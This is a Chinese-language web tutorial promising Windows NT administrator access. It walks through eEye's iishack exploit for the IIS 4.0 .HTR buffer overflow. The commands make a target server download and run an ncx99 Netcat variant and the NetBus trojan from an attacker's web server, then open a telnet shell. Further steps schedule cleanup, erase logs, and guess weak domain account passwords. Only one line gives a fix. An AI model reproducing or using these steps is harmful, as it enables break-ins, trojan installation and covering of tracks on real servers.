教你获取WindowsNT的Admin权限的方法
IIS的ISAPI的毛病(*.HTR) 我们再来看看eEye最近这两天发现的一个关于NT/IIS的问题和工具。在IIS的/Inetsrv目录下，有个DLL文件叫ism.dll，这个模块在web运行的时候就被加载到较高的内存地址，并且导致了零字节问题到处出现IIShack.asm，利用这个毛病，eEye写了两个程序：
iishack.exe ncx99.exe
为达目的你必须自己有一个web server，把ncx99.exe和netbus木马传到这个web server的目录下，比如你的web server是：
www.mysvr.com? 而对方的IIS server是www.xxx.com
则：
iishack www.xxx.com 80 www.mysvr.com/ncx99.exe?? (注意，不要加http://字符!)
上述命令输入后这时你应该可以看到
------(IIS 4.0 remote buffer overflow exploit)----------------- (c) dark spyrit -- barns@eeye.com. http://www.eEye.com [usage: iishack ] eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe do not include ''http://'' before hosts! --------------------------------------------------------------- Data sent!
然后，再把Netbus等特洛伊木马传到对方机器上去：
iishack www.example.com 80 www.myserver.com/netbus.exe
ncx99.exe实际上是有名的Netcat的变种，它把对方server的cmd.exe绑定到Telnet服务。 ncx.exe 这是较早的版本，是把端口绑到80的，由于80端口跑web服务，端口已经被使用。所以可能不一定有效。然后，用Telnet到对方的99或80端口：
Telnet www.xxx.com 99
结果是这样：
Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\>[You have full access to the system, happy browsing :)] C:\>[Add a scheduled task to restart inetinfo in X minutes] C:\>[Add a scheduled task to delete ncx.exe in X-1 minutes] C:\>[Clean up any trace or logs we might have left behind.]
这样，你就完全控制了其硬盘上的文件！注意，如果你type exit退出，对方server上的这个进程也会退出。
补救方法：在IIS的www service属性中将主目录的应用程序设置的*.htr的映射删除。
其它：用Retina.exe得到NT域内的帐号清单，逐个尝试这些帐号，如果有的密码薄弱而被你猜出来，就可以用上面的方法来获取NT的Admin。
0
相关文章
关注我们
